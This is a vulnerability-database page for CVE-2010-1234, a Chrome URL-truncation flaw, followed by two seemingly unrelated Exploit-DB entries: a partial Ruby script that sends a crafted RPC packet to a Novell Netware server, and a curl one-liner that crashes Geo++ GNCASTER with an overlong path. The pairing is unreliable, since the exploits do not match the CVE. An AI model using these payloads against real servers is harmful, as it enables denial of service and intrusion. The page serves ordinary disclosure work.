CVE-2010-1234
published 2010-04-01CVE-2010-1234: Unspecified vulnerability in Google Chrome before 4.1.249.1036 allows remote attackers to truncate the URL shown in the HTTP Basic Authentication dialog via…
PriorityP335high7.5CVSS 2.0
AVNACLAuNCPIPAP
EPSS
1.15%
63.8th percentile
Unspecified vulnerability in Google Chrome before 4.1.249.1036 allows remote attackers to truncate the URL shown in the HTTP Basic Authentication dialog via unknown vectors.
Affected
223 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| chrome | <= 4.1.249.1035 | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — | |
| chrome | — | — |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Novell Netware - RPC XNFS xdrDecodeString
exploitdb·2011-02-24
CVE-2010-4227 Novell Netware - RPC XNFS xdrDecodeString
Novell Netware - RPC XNFS xdrDecodeString
---
#!/usr/bin/ruby
# Source:
# http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=24&Itemid=24
require 'socket'
netware_server = (ARGV[0])
target_port = (ARGV[1] || 1234)
beepbeep=
"\x1c\xd1\xef\xab" + # XID
"\x00\x00\x00\x00" + # Message Type: Call (0)
"\x00\x00\x00\x02" + # RPC Version: 2
"\x00\x01\x86\xa5" + # Program: 10005 MOUNT
"\x00\x00\x00\x02" + # Program Version: 2
"\x00\x00\x00\x01" + # Procedure: MNT (1)
"\x00\x00\x00\x00\x00\x00\x00\x00" + #
"\x00\x00\x00\x00\x00\x00\x00\x00" + #Verifier NULL
"\x41\x42\x43\x44"
puts "[+] beep beep\n"
puts "[+]No, it's not the road runner\n"
if (!(netware_server && target_port))
puts "Usage: PRL-2011-04.rb host port (default port: 1234)\n"
exit
else
puts "[+]Sendin
Exploit-DB
Geo++ GNCASTER 1.4.0.7 - GET Denial of Service
exploitdb·2010-01-27
CVE-2010-0552 Geo++ GNCASTER 1.4.0.7 - GET Denial of Service
Geo++ GNCASTER 1.4.0.7 - GET Denial of Service
---
source: https://www.securityfocus.com/bid/40009/info
Geo++ GNCASTER is prone to a denial-of-service vulnerability.
An attacker can exploit this issue to cause the application to crash, resulting in a denial-of-service condition. Arbitrary code-execution may also be possible; this has not been confirmed.
Geo++ GNCASTER 1.4.0.7 is vulnerable; other versions may also be affected.
$ curl -i "http://www.example.com:1234/`perl -e 'printf "A"x988'`"
No writeups or analysis indexed.
http://code.google.com/p/chromium/issues/detail?id=36772http://googlechromereleases.blogspot.com/2010/03/stable-channel-update.htmlhttps://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A14275http://code.google.com/p/chromium/issues/detail?id=36772http://googlechromereleases.blogspot.com/2010/03/stable-channel-update.htmlhttps://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A14275
2010-04-01
Published